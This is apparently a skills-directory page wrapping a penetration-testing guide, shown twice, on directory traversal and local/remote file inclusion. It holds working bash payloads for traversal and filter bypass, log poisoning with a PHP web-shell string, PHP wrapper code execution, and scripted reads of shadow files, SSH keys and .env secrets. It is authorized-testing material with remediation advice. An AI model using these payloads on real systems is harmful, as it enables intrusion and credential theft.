[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7B8DP2EHCTQ9AKFDXGXS8YJ":3,"skill-same:01M7B8DP2EHCTQ9AKFDXGXS8YJ":81},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":15,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":45,"commitSha":46,"skillDirectory":47,"forksCount":13,"repositoryHtmlUrl":48,"repositoryHomepageUrl":6,"ownerHtmlUrl":49,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":50,"install":51,"resources":64},"01M7B8DP2EHCTQ9AKFDXGXS8YJ","performing-directory-traversal-testing",null,"Test web applications for path traversal and Local\u002FRemote File Inclusion vulnerabilities by manipulating file path parameters, applying encoding and filter-bypass techniques, automating discovery with ffuf and dotdotpwn, and reading high-value files or achieving code execution. Use during authorized penetration tests of file download, view, or include functionality, or when assessing APIs that accept file names or file paths as parameters.","vikasvardhanv\u002Fjerry_skills","vikasvardhanv","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F99010657?v=4","01M7B2B0VN78W7529RQX5BR6DZ","01M7B2B0WDNTXJHRK3QNPNWRP6",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-directory-traversal-testing\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-directory-traversal-testing\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: performing-directory-traversal-testing\ndescription: Test web applications for path traversal and Local\u002FRemote File Inclusion\n  vulnerabilities by manipulating file path parameters, applying encoding and filter-bypass\n  techniques, automating discovery with ffuf and dotdotpwn, and reading high-value files\n  or achieving code execution. Use during authorized penetration tests of file download,\n  view, or include functionality, or when assessing APIs that accept file names or file\n  paths as parameters.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- directory-traversal\n- path-traversal\n- lfi\n- owasp\n- web-security\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n---\n\n# Performing Directory Traversal Testing\n\n## When to Use\n\n- During authorized penetration tests when the application handles file paths in URL parameters or request bodies\n- When testing file download, file view, or file include functionality\n- For assessing Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerabilities\n- When evaluating template engines, logging systems, or report generators that reference files\n- During security assessments of APIs that accept file names or paths as parameters\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: For intercepting and modifying file path parameters\n- **ffuf**: For fuzzing file path parameters with traversal payloads\n- **dotdotpwn**: Automated directory traversal fuzzer (`apt install dotdotpwn`)\n- **SecLists**: Traversal payload wordlists from Daniel Miessler's collection\n- **curl**: For manual testing of traversal payloads\n\n## Workflow\n\n### Step 1: Identify File Path Parameters\n\nFind application endpoints that reference files through parameters.\n\n```bash\n# Common file-handling patterns to look for:\n# \u002Fdownload?file=report.pdf\n# \u002Fview?page=about.html\n# \u002Fapi\u002Ffiles?path=documents\u002Finvoice.pdf\n# \u002Ftemplate?name=header.html\n# \u002Finclude?module=sidebar\n# \u002Fimage?src=photos\u002Favatar.jpg\n# \u002Fexport?format=csv&template=default\n\n# In Burp Suite, search proxy history for file-related parameters\n# Filter by parameter names: file, path, page, template, include,\n# module, src, doc, document, folder, dir, name, filename\n\n# Test with a known valid file to establish baseline\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=report.pdf\" -o \u002Fdev\u002Fnull -w \"%{http_code} %{size_download}\"\n\n# Try referencing a file that shouldn't be accessible\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n```\n\n### Step 2: Test Basic Directory Traversal Payloads\n\nAttempt to escape the intended directory and read sensitive files.\n\n```bash\n# Linux traversal payloads\nPAYLOADS=(\n  \"..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..%2f..%2f..%2fetc%2fpasswd\"\n  \"..%252f..%252f..%252fetc%252fpasswd\"\n  \"%2e%2e\u002F%2e%2e\u002F%2e%2e\u002Fetc\u002Fpasswd\"\n  \"....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\"\n  \"..;\u002F..;\u002F..;\u002Fetc\u002Fpasswd\"\n)\n\nfor payload in \"${PAYLOADS[@]}\"; do\n  echo -n \"Testing: $payload -> \"\n  response=$(curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$payload\")\n  if echo \"$response\" | grep -q \"root:\"; then\n    echo \"VULNERABLE\"\n  else\n    echo \"Blocked\"\n  fi\ndone\n\n# Windows traversal payloads\nWIN_PAYLOADS=(\n  \"..\\..\\..\\windows\\win.ini\"\n  \"..%5c..%5c..%5cwindows%5cwin.ini\"\n  \"..\\\u002F..\\\u002F..\\\u002Fwindows\u002Fwin.ini\"\n  \"....\\\\....\\\\....\\\\windows\\\\win.ini\"\n)\n\nfor payload in \"${WIN_PAYLOADS[@]}\"; do\n  echo -n \"Testing: $payload -> \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$payload\" | head -c 100\n  echo\ndone\n```\n\n### Step 3: Apply Encoding and Filter Bypass Techniques\n\nUse various encoding schemes to bypass input validation filters.\n\n```bash\n# URL encoding bypass\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd\"\n\n# Double URL encoding\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd\"\n\n# UTF-8 encoding\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd\"\n\n# Null byte injection (PHP \u003C 5.3.4)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.pdf\"\n\n# Path truncation (Windows)\n# Exceeding MAX_PATH (260 chars) to bypass extension checks\nLONG_PATH=\"..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\nfor i in $(seq 1 200); do LONG_PATH=\"${LONG_PATH}\u002F.\"; done\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$LONG_PATH\"\n\n# Case manipulation (Windows)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\\..\\..\\..\\WiNdOwS\\win.ini\"\n\n# Dot-dot-slash variations\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\"\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=....\u002F\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n\n# Using absolute path (if filter only blocks relative traversal)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=\u002Fetc\u002Fpasswd\"\n```\n\n### Step 4: Automate with ffuf and dotdotpwn\n\nUse automated tools for comprehensive traversal testing.\n\n```bash\n# ffuf with traversal payload list\nffuf -u \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=FUZZ\" \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FFuzzing\u002FLFI\u002FLFI-Jhaddix.txt \\\n  -mc 200 \\\n  -fs 0 \\\n  -t 20 -rate 50 \\\n  -o traversal-results.json -of json\n\n# dotdotpwn for systematic traversal testing\ndotdotpwn -m http-url \\\n  -u \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=TRAVERSAL\" \\\n  -k \"root:\" \\\n  -o \u002Ftmp\u002Fdotdotpwn-results.txt \\\n  -d 8 -t 200\n\n# Burp Intruder approach:\n# 1. Send request to Intruder\n# 2. Mark the file parameter value as insertion point\n# 3. Load LFI payload list from SecLists\n# 4. Add Grep Match rules for: \"root:\", \"[extensions]\", \"for 16-bit\"\n# 5. Start attack and review matches\n```\n\n### Step 5: Test Local File Inclusion (LFI) for Code Execution\n\nIf LFI is confirmed, attempt to escalate to remote code execution.\n\n```bash\n# PHP LFI to RCE via log poisoning\n# Step 1: Inject PHP code into access log\ncurl -s -A \"\u003C?php system(\\$_GET['cmd']); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\"\n\n# Step 2: Include the log file via LFI\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fapache2\u002Faccess.log&cmd=id\"\n\n# PHP wrapper for file read (base64 encode to avoid parsing)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=config.php\"\n\n# PHP wrapper for code execution\ncurl -s -X POST \\\n  -d \"\u003C?php system('id'); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=php:\u002F\u002Finput\"\n\n# PHP data wrapper\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=data:\u002F\u002Ftext\u002Fplain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA\u002FPg==\"\n\n# Include \u002Fproc\u002Fself\u002Fenviron (if readable)\ncurl -s -A \"\u003C?php phpinfo(); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=..\u002F..\u002F..\u002Fproc\u002Fself\u002Fenviron\"\n\n# Session file inclusion\n# Write PHP code into session via another parameter\n# Then include: \u002Ftmp\u002Fsess_\u003CPHPSESSID>\n```\n\n### Step 6: Read High-Value Files\n\nTarget sensitive configuration and credential files.\n\n```bash\n# Linux high-value files\nHIGH_VALUE_LINUX=(\n  \"\u002Fetc\u002Fpasswd\"\n  \"\u002Fetc\u002Fshadow\"\n  \"\u002Fetc\u002Fhosts\"\n  \"\u002Fetc\u002Fhostname\"\n  \"\u002Fproc\u002Fself\u002Fenviron\"\n  \"\u002Fproc\u002Fself\u002Fcmdline\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002F.env\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php\"\n  \"\u002Fhome\u002Fuser\u002F.ssh\u002Fid_rsa\"\n  \"\u002Fhome\u002Fuser\u002F.bash_history\"\n  \"\u002Froot\u002F.bash_history\"\n  \"\u002Fvar\u002Flog\u002Fauth.log\"\n)\n\nfor file in \"${HIGH_VALUE_LINUX[@]}\"; do\n  traversal=\"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..$file\"\n  echo -n \"$file: \"\n  response=$(curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$traversal\")\n  if [ ${#response} -gt 10 ]; then\n    echo \"READABLE (${#response} bytes)\"\n  else\n    echo \"Not accessible\"\n  fi\ndone\n\n# Windows high-value files\nHIGH_VALUE_WIN=(\n  \"C:\\\\Windows\\\\win.ini\"\n  \"C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\"\n  \"C:\\\\inetpub\\\\wwwroot\\\\web.config\"\n  \"C:\\\\Users\\\\Administrator\\\\.ssh\\\\id_rsa\"\n  \"C:\\\\xampp\\\\apache\\\\conf\\\\httpd.conf\"\n  \"C:\\\\xampp\\\\mysql\\\\data\\\\mysql\\\\user.MYD\"\n)\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Directory Traversal** | Using `..\u002F` sequences to navigate to parent directories and access files outside the intended path |\n| **Local File Inclusion (LFI)** | Server-side inclusion of local files, potentially leading to code execution |\n| **Remote File Inclusion (RFI)** | Including files from external URLs (requires `allow_url_include=On` in PHP) |\n| **Null Byte Injection** | Using `%00` to truncate file paths, bypassing extension checks in older PHP versions |\n| **PHP Wrappers** | Protocols like `php:\u002F\u002Ffilter`, `php:\u002F\u002Finput`, `data:\u002F\u002F` for reading and executing files |\n| **Log Poisoning** | Injecting code into log files and then including them via LFI for code execution |\n| **Path Canonicalization** | The process of resolving relative paths to absolute paths, which can be exploited |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Request interception and Intruder for automated payload testing |\n| **ffuf** | Fast fuzzing with LFI\u002Ftraversal wordlists |\n| **dotdotpwn** | Dedicated directory traversal fuzzer with multiple traversal patterns |\n| **LFISuite** | Automated LFI exploitation tool with multiple techniques |\n| **SecLists** | Comprehensive wordlists including LFI payloads and traversal patterns |\n| **Kadimus** | LFI scanning and exploitation tool |\n\n## Common Scenarios\n\n### Scenario 1: File Download Traversal\nA document download endpoint at `\u002Fdownload?file=report.pdf` does not validate the file parameter. Replacing the value with `..\u002F..\u002F..\u002Fetc\u002Fpasswd` returns the server's password file.\n\n### Scenario 2: Template LFI to RCE\nA PHP application includes templates via `?page=home`. By poisoning the Apache access log with PHP code in the User-Agent header, then including the log file, the attacker achieves remote code execution.\n\n### Scenario 3: Image Path Traversal\nAn image resizing service accepts `?src=images\u002Fphoto.jpg`. The application strips `..\u002F` once but does not recurse, so `....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd` bypasses the filter.\n\n### Scenario 4: Windows IIS Configuration Leak\nA .NET application serves files via `?path=docs\\manual.pdf`. Traversing to `..\\..\\web.config` exposes the IIS configuration file containing database connection strings.\n\n## Output Format\n\n```\n## Directory Traversal Finding\n\n**Vulnerability**: Path Traversal \u002F Local File Inclusion\n**Severity**: High (CVSS 8.6)\n**Location**: GET \u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### Reproduction Steps\n1. Navigate to https:\u002F\u002Ftarget.example.com\u002Fdownload?file=report.pdf\n2. Replace file parameter: ?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\n3. Server returns contents of \u002Fetc\u002Fpasswd\n\n### Files Retrieved\n| File | Impact |\n|------|--------|\n| \u002Fetc\u002Fpasswd | User enumeration (42 accounts) |\n| \u002Fvar\u002Fwww\u002Fhtml\u002F.env | Database credentials exposed |\n| \u002Fhome\u002Fdeploy\u002F.ssh\u002Fid_rsa | SSH private key recovered |\n| \u002Fproc\u002Fself\u002Fenviron | Environment variables with API keys |\n\n### Filter Bypass Required\nOriginal `..\u002F` stripped by filter. Successful bypass: `....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd`\n\n### Recommendation\n1. Use an allowlist of permitted file names rather than accepting arbitrary paths\n2. Resolve the canonical path and verify it stays within the intended directory\n3. Run the web server with minimal file system permissions\n4. Remove sensitive files from web-accessible directories\n5. Disable PHP wrappers (allow_url_include, allow_url_fopen) if not required\n```\n","# Performing Directory Traversal Testing\n\n## When to Use\n\n- During authorized penetration tests when the application handles file paths in URL parameters or request bodies\n- When testing file download, file view, or file include functionality\n- For assessing Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerabilities\n- When evaluating template engines, logging systems, or report generators that reference files\n- During security assessments of APIs that accept file names or paths as parameters\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: For intercepting and modifying file path parameters\n- **ffuf**: For fuzzing file path parameters with traversal payloads\n- **dotdotpwn**: Automated directory traversal fuzzer (`apt install dotdotpwn`)\n- **SecLists**: Traversal payload wordlists from Daniel Miessler's collection\n- **curl**: For manual testing of traversal payloads\n\n## Workflow\n\n### Step 1: Identify File Path Parameters\n\nFind application endpoints that reference files through parameters.\n\n```bash\n# Common file-handling patterns to look for:\n# \u002Fdownload?file=report.pdf\n# \u002Fview?page=about.html\n# \u002Fapi\u002Ffiles?path=documents\u002Finvoice.pdf\n# \u002Ftemplate?name=header.html\n# \u002Finclude?module=sidebar\n# \u002Fimage?src=photos\u002Favatar.jpg\n# \u002Fexport?format=csv&template=default\n\n# In Burp Suite, search proxy history for file-related parameters\n# Filter by parameter names: file, path, page, template, include,\n# module, src, doc, document, folder, dir, name, filename\n\n# Test with a known valid file to establish baseline\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=report.pdf\" -o \u002Fdev\u002Fnull -w \"%{http_code} %{size_download}\"\n\n# Try referencing a file that shouldn't be accessible\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n```\n\n### Step 2: Test Basic Directory Traversal Payloads\n\nAttempt to escape the intended directory and read sensitive files.\n\n```bash\n# Linux traversal payloads\nPAYLOADS=(\n  \"..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..%2f..%2f..%2fetc%2fpasswd\"\n  \"..%252f..%252f..%252fetc%252fpasswd\"\n  \"%2e%2e\u002F%2e%2e\u002F%2e%2e\u002Fetc\u002Fpasswd\"\n  \"....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\"\n  \"..;\u002F..;\u002F..;\u002Fetc\u002Fpasswd\"\n)\n\nfor payload in \"${PAYLOADS[@]}\"; do\n  echo -n \"Testing: $payload -> \"\n  response=$(curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$payload\")\n  if echo \"$response\" | grep -q \"root:\"; then\n    echo \"VULNERABLE\"\n  else\n    echo \"Blocked\"\n  fi\ndone\n\n# Windows traversal payloads\nWIN_PAYLOADS=(\n  \"..\\..\\..\\windows\\win.ini\"\n  \"..%5c..%5c..%5cwindows%5cwin.ini\"\n  \"..\\\u002F..\\\u002F..\\\u002Fwindows\u002Fwin.ini\"\n  \"....\\\\....\\\\....\\\\windows\\\\win.ini\"\n)\n\nfor payload in \"${WIN_PAYLOADS[@]}\"; do\n  echo -n \"Testing: $payload -> \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$payload\" | head -c 100\n  echo\ndone\n```\n\n### Step 3: Apply Encoding and Filter Bypass Techniques\n\nUse various encoding schemes to bypass input validation filters.\n\n```bash\n# URL encoding bypass\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd\"\n\n# Double URL encoding\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd\"\n\n# UTF-8 encoding\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd\"\n\n# Null byte injection (PHP \u003C 5.3.4)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.pdf\"\n\n# Path truncation (Windows)\n# Exceeding MAX_PATH (260 chars) to bypass extension checks\nLONG_PATH=\"..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\nfor i in $(seq 1 200); do LONG_PATH=\"${LONG_PATH}\u002F.\"; done\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$LONG_PATH\"\n\n# Case manipulation (Windows)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\\..\\..\\..\\WiNdOwS\\win.ini\"\n\n# Dot-dot-slash variations\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\"\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=....\u002F\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n\n# Using absolute path (if filter only blocks relative traversal)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=\u002Fetc\u002Fpasswd\"\n```\n\n### Step 4: Automate with ffuf and dotdotpwn\n\nUse automated tools for comprehensive traversal testing.\n\n```bash\n# ffuf with traversal payload list\nffuf -u \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=FUZZ\" \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FFuzzing\u002FLFI\u002FLFI-Jhaddix.txt \\\n  -mc 200 \\\n  -fs 0 \\\n  -t 20 -rate 50 \\\n  -o traversal-results.json -of json\n\n# dotdotpwn for systematic traversal testing\ndotdotpwn -m http-url \\\n  -u \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=TRAVERSAL\" \\\n  -k \"root:\" \\\n  -o \u002Ftmp\u002Fdotdotpwn-results.txt \\\n  -d 8 -t 200\n\n# Burp Intruder approach:\n# 1. Send request to Intruder\n# 2. Mark the file parameter value as insertion point\n# 3. Load LFI payload list from SecLists\n# 4. Add Grep Match rules for: \"root:\", \"[extensions]\", \"for 16-bit\"\n# 5. Start attack and review matches\n```\n\n### Step 5: Test Local File Inclusion (LFI) for Code Execution\n\nIf LFI is confirmed, attempt to escalate to remote code execution.\n\n```bash\n# PHP LFI to RCE via log poisoning\n# Step 1: Inject PHP code into access log\ncurl -s -A \"\u003C?php system(\\$_GET['cmd']); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\"\n\n# Step 2: Include the log file via LFI\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fapache2\u002Faccess.log&cmd=id\"\n\n# PHP wrapper for file read (base64 encode to avoid parsing)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=config.php\"\n\n# PHP wrapper for code execution\ncurl -s -X POST \\\n  -d \"\u003C?php system('id'); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=php:\u002F\u002Finput\"\n\n# PHP data wrapper\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=data:\u002F\u002Ftext\u002Fplain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA\u002FPg==\"\n\n# Include \u002Fproc\u002Fself\u002Fenviron (if readable)\ncurl -s -A \"\u003C?php phpinfo(); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=..\u002F..\u002F..\u002Fproc\u002Fself\u002Fenviron\"\n\n# Session file inclusion\n# Write PHP code into session via another parameter\n# Then include: \u002Ftmp\u002Fsess_\u003CPHPSESSID>\n```\n\n### Step 6: Read High-Value Files\n\nTarget sensitive configuration and credential files.\n\n```bash\n# Linux high-value files\nHIGH_VALUE_LINUX=(\n  \"\u002Fetc\u002Fpasswd\"\n  \"\u002Fetc\u002Fshadow\"\n  \"\u002Fetc\u002Fhosts\"\n  \"\u002Fetc\u002Fhostname\"\n  \"\u002Fproc\u002Fself\u002Fenviron\"\n  \"\u002Fproc\u002Fself\u002Fcmdline\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002F.env\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php\"\n  \"\u002Fhome\u002Fuser\u002F.ssh\u002Fid_rsa\"\n  \"\u002Fhome\u002Fuser\u002F.bash_history\"\n  \"\u002Froot\u002F.bash_history\"\n  \"\u002Fvar\u002Flog\u002Fauth.log\"\n)\n\nfor file in \"${HIGH_VALUE_LINUX[@]}\"; do\n  traversal=\"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..$file\"\n  echo -n \"$file: \"\n  response=$(curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$traversal\")\n  if [ ${#response} -gt 10 ]; then\n    echo \"READABLE (${#response} bytes)\"\n  else\n    echo \"Not accessible\"\n  fi\ndone\n\n# Windows high-value files\nHIGH_VALUE_WIN=(\n  \"C:\\\\Windows\\\\win.ini\"\n  \"C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\"\n  \"C:\\\\inetpub\\\\wwwroot\\\\web.config\"\n  \"C:\\\\Users\\\\Administrator\\\\.ssh\\\\id_rsa\"\n  \"C:\\\\xampp\\\\apache\\\\conf\\\\httpd.conf\"\n  \"C:\\\\xampp\\\\mysql\\\\data\\\\mysql\\\\user.MYD\"\n)\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Directory Traversal** | Using `..\u002F` sequences to navigate to parent directories and access files outside the intended path |\n| **Local File Inclusion (LFI)** | Server-side inclusion of local files, potentially leading to code execution |\n| **Remote File Inclusion (RFI)** | Including files from external URLs (requires `allow_url_include=On` in PHP) |\n| **Null Byte Injection** | Using `%00` to truncate file paths, bypassing extension checks in older PHP versions |\n| **PHP Wrappers** | Protocols like `php:\u002F\u002Ffilter`, `php:\u002F\u002Finput`, `data:\u002F\u002F` for reading and executing files |\n| **Log Poisoning** | Injecting code into log files and then including them via LFI for code execution |\n| **Path Canonicalization** | The process of resolving relative paths to absolute paths, which can be exploited |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Request interception and Intruder for automated payload testing |\n| **ffuf** | Fast fuzzing with LFI\u002Ftraversal wordlists |\n| **dotdotpwn** | Dedicated directory traversal fuzzer with multiple traversal patterns |\n| **LFISuite** | Automated LFI exploitation tool with multiple techniques |\n| **SecLists** | Comprehensive wordlists including LFI payloads and traversal patterns |\n| **Kadimus** | LFI scanning and exploitation tool |\n\n## Common Scenarios\n\n### Scenario 1: File Download Traversal\nA document download endpoint at `\u002Fdownload?file=report.pdf` does not validate the file parameter. Replacing the value with `..\u002F..\u002F..\u002Fetc\u002Fpasswd` returns the server's password file.\n\n### Scenario 2: Template LFI to RCE\nA PHP application includes templates via `?page=home`. By poisoning the Apache access log with PHP code in the User-Agent header, then including the log file, the attacker achieves remote code execution.\n\n### Scenario 3: Image Path Traversal\nAn image resizing service accepts `?src=images\u002Fphoto.jpg`. The application strips `..\u002F` once but does not recurse, so `....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd` bypasses the filter.\n\n### Scenario 4: Windows IIS Configuration Leak\nA .NET application serves files via `?path=docs\\manual.pdf`. Traversing to `..\\..\\web.config` exposes the IIS configuration file containing database connection strings.\n\n## Output Format\n\n```\n## Directory Traversal Finding\n\n**Vulnerability**: Path Traversal \u002F Local File Inclusion\n**Severity**: High (CVSS 8.6)\n**Location**: GET \u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### Reproduction Steps\n1. Navigate to https:\u002F\u002Ftarget.example.com\u002Fdownload?file=report.pdf\n2. Replace file parameter: ?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\n3. Server returns contents of \u002Fetc\u002Fpasswd\n\n### Files Retrieved\n| File | Impact |\n|------|--------|\n| \u002Fetc\u002Fpasswd | User enumeration (42 accounts) |\n| \u002Fvar\u002Fwww\u002Fhtml\u002F.env | Database credentials exposed |\n| \u002Fhome\u002Fdeploy\u002F.ssh\u002Fid_rsa | SSH private key recovered |\n| \u002Fproc\u002Fself\u002Fenviron | Environment variables with API keys |\n\n### Filter Bypass Required\nOriginal `..\u002F` stripped by filter. Successful bypass: `....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd`\n\n### Recommendation\n1. Use an allowlist of permitted file names rather than accepting arbitrary paths\n2. Resolve the canonical path and verify it stays within the intended directory\n3. Run the web server with minimal file system permissions\n4. Remove sensitive files from web-accessible directories\n5. Disable PHP wrappers (allow_url_include, allow_url_fopen) if not required\n```\n",{"name":5,"tags":24,"author":31,"domain":32,"license":14,"version":33,"nist_csf":34,"subdomain":39,"description":7,"mitre_attack":40},[25,26,27,28,29,30],"penetration-testing","directory-traversal","path-traversal","lfi","owasp","web-security","mahipal","cybersecurity","1.0",[35,36,37,38],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[41,42,43,44],"T1190","T1059.007","T1505.003","T1083","main","1eb986d0b0ecc180291597e08eb5a58288843536","skills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-directory-traversal-testing","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv","2026-08-25 13:16:33",{"source":8,"skillName":5,"commands":52,"prompt":62,"zipAvailable":63},[53,56,59],{"tool":54,"command":55},"npx","npx skills add vikasvardhanv\u002Fjerry_skills --skill 